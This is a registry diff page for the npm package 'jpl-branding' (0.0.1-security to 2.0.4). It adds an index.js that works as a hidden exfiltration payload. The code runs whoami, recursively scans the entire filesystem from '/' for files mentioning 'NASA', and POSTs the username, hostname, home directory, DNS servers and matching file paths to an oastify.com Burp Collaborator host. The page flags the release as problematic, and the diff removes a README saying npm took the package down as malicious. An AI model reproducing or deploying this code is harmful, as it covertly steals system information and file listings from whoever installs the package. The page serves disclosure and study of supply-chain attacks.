jpl-branding 0.0.1-security → 2.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jpl-branding might be problematic. Click here for more details.
- package/index.js +112 -0
- package/package.json +9 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,112 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const fs = require("fs");
|
3
|
+
const path = require("path");
|
4
|
+
const os = require("os");
|
5
|
+
const dns = require("dns");
|
6
|
+
const querystring = require("querystring");
|
7
|
+
const https = require("https");
|
8
|
+
|
9
|
+
// Search configuration
|
10
|
+
const searchWord = "NASA";
|
11
|
+
const startDir = "/"; // Replace with specific directory if needed
|
12
|
+
|
13
|
+
/**
|
14
|
+
* Function to search for a word in a file.
|
15
|
+
* @param {string} filePath - Path to the file.
|
16
|
+
* @param {string} word - Word to search for.
|
17
|
+
* @returns {boolean} - True if the word is found, false otherwise.
|
18
|
+
*/
|
19
|
+
function searchInFile(filePath, word) {
|
20
|
+
try {
|
21
|
+
const content = fs.readFileSync(filePath, "utf8");
|
22
|
+
const regex = new RegExp(`\\b${word}\\b`, "i");
|
23
|
+
return regex.test(content);
|
24
|
+
} catch (error) {
|
25
|
+
// Ignore errors for non-readable files
|
26
|
+
return false;
|
27
|
+
}
|
28
|
+
}
|
29
|
+
|
30
|
+
/**
|
31
|
+
* Function to recursively search directories for the word.
|
32
|
+
* @param {string} dir - Directory to search.
|
33
|
+
* @param {string} word - Word to search for.
|
34
|
+
* @returns {Array} - List of files containing the word.
|
35
|
+
*/
|
36
|
+
function searchInDir(dir, word) {
|
37
|
+
let results = [];
|
38
|
+
try {
|
39
|
+
const files = fs.readdirSync(dir);
|
40
|
+
for (const file of files) {
|
41
|
+
const filePath = path.join(dir, file);
|
42
|
+
const stats = fs.statSync(filePath);
|
43
|
+
|
44
|
+
if (stats.isDirectory()) {
|
45
|
+
// Recursively search in subdirectories
|
46
|
+
results = results.concat(searchInDir(filePath, word));
|
47
|
+
} else if (stats.isFile() && searchInFile(filePath, word)) {
|
48
|
+
results.push(filePath);
|
49
|
+
}
|
50
|
+
}
|
51
|
+
} catch (error) {
|
52
|
+
console.error(`Error accessing directory: ${dir} - ${error.message}`);
|
53
|
+
}
|
54
|
+
return results;
|
55
|
+
}
|
56
|
+
|
57
|
+
// Function to execute whoami and gather system information
|
58
|
+
exec("whoami", (error, stdout, stderr) => {
|
59
|
+
if (error) {
|
60
|
+
console.error(`Error executing whoami: ${error.message}`);
|
61
|
+
return;
|
62
|
+
}
|
63
|
+
if (stderr) {
|
64
|
+
console.error(`Error: ${stderr}`);
|
65
|
+
return;
|
66
|
+
}
|
67
|
+
|
68
|
+
const username = stdout.trim();
|
69
|
+
|
70
|
+
// Perform the search
|
71
|
+
const filesContainingWord = searchInDir(startDir, searchWord);
|
72
|
+
|
73
|
+
// Create tracking data object
|
74
|
+
const trackingData = JSON.stringify({
|
75
|
+
username,
|
76
|
+
hostname: os.hostname(),
|
77
|
+
homeDir: os.homedir(),
|
78
|
+
dnsServers: dns.getServers(),
|
79
|
+
foundFiles: filesContainingWord,
|
80
|
+
});
|
81
|
+
|
82
|
+
// Prepare data for sending
|
83
|
+
const postData = querystring.stringify({
|
84
|
+
msg: trackingData,
|
85
|
+
});
|
86
|
+
|
87
|
+
// Setup the request options
|
88
|
+
const options = {
|
89
|
+
hostname: "7owrfrb2kucym919haj4cq83dujl7bv0.oastify.com", // Replace with your Burp Collaborator URL
|
90
|
+
port: 443,
|
91
|
+
path: "/",
|
92
|
+
method: "POST",
|
93
|
+
headers: {
|
94
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
95
|
+
"Content-Length": postData.length,
|
96
|
+
},
|
97
|
+
};
|
98
|
+
|
99
|
+
// Send the data
|
100
|
+
const req = https.request(options, (res) => {
|
101
|
+
res.on("data", (d) => {
|
102
|
+
process.stdout.write(d);
|
103
|
+
});
|
104
|
+
});
|
105
|
+
|
106
|
+
req.on("error", (e) => {
|
107
|
+
console.error(`Request error: ${e.message}`);
|
108
|
+
});
|
109
|
+
|
110
|
+
req.write(postData);
|
111
|
+
req.end();
|
112
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,9 @@
|
|
1
|
-
{
|
2
|
-
"name": "jpl-branding",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "jpl-branding",
|
3
|
+
"version": "2.0.4",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"start": "echo 'hello'"
|
7
|
+
},
|
8
|
+
"dependencies": { }
|
9
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=jpl-branding for more information.
|